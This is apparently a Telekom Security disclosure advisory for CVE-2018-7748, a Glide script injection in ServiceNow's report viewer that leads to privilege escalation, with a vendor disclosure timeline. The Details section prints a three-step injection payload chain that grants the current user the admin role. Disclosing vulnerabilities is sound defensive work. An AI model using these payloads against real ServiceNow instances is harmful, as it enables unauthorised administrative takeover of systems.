Telekom Security
security.telekom.com

Advisory: ServiceNow Glide Scripting Injection leading to Privilege Escalation
Release Date: 2018/03/15
Author: Robin Verton (robin.verton@telekom.de)
CVE: CVE-2018-7748

Application: ServiceNow <= Release 'Jakarta' Patch 8
Risk: Critical
Vendor Status: 'Jakarta' Patch 8a was released to fix this vulnerability.

Overview:

"The Now Platform delivers a System of Action for the enterprise. Using a single data model, it’s easy to create contextual workflows and automate any business process. Anyone, from the business user to the professional developer, can easily build applications at lightspeed.

Any application user on the Now Platform can make requests through service catalogs, find information in common knowledge bases, and be notified about the actions and information they care about the most."[1]

Details:

The /report_viewer.do endpoint is prone to a glide script injection vulnerability. It is possible to inject glide code (scripting language) by submitting a string in the format '${xyz}' in the sysparm_media parameter. To successfully exploit this, an authenticated user is required and any valid report id. The following steps will escalate the current user privileges to the 'admin' role. This is possible by doing three GlideRecord actions to query the database:

a) Get the current users sys_id.
${gs.getUserID()}

b) Get the sys_id for the admin role.
${u=new GlideRecord("sys_user_role");u.addQuery("name","admin");
u.query();u.next();u.getValue("sys_id")}

c) Add admin role from (b) to own record.
${gr=new GlideRecord("sys_user_has_role");gr.initialize();
gr.user="<user_id>";gr.role="<role_id>";gr.insert();}

This is only one example of what could be injected, leading to the highest available permissions. A lot of different things can be done by injection of Glide code.

References:

[1]: https://www.servicenow.com/why-servicenow.html

Disclosure Timeline:

04. January 2018 - Details sent to vendor.
10. January 2018 - Vendor provided patch for verification.
15. March 2018 - Vendor released patch.
27. July 2018 - Advisory published.

About Telekom Security:

Telekom Security is the security provider for Deutsche Telekom and Deutsche Telekom customers.

https://security.telekom.com
https://github.com/telekomsecurity
http://www.sicherheitstacho.eu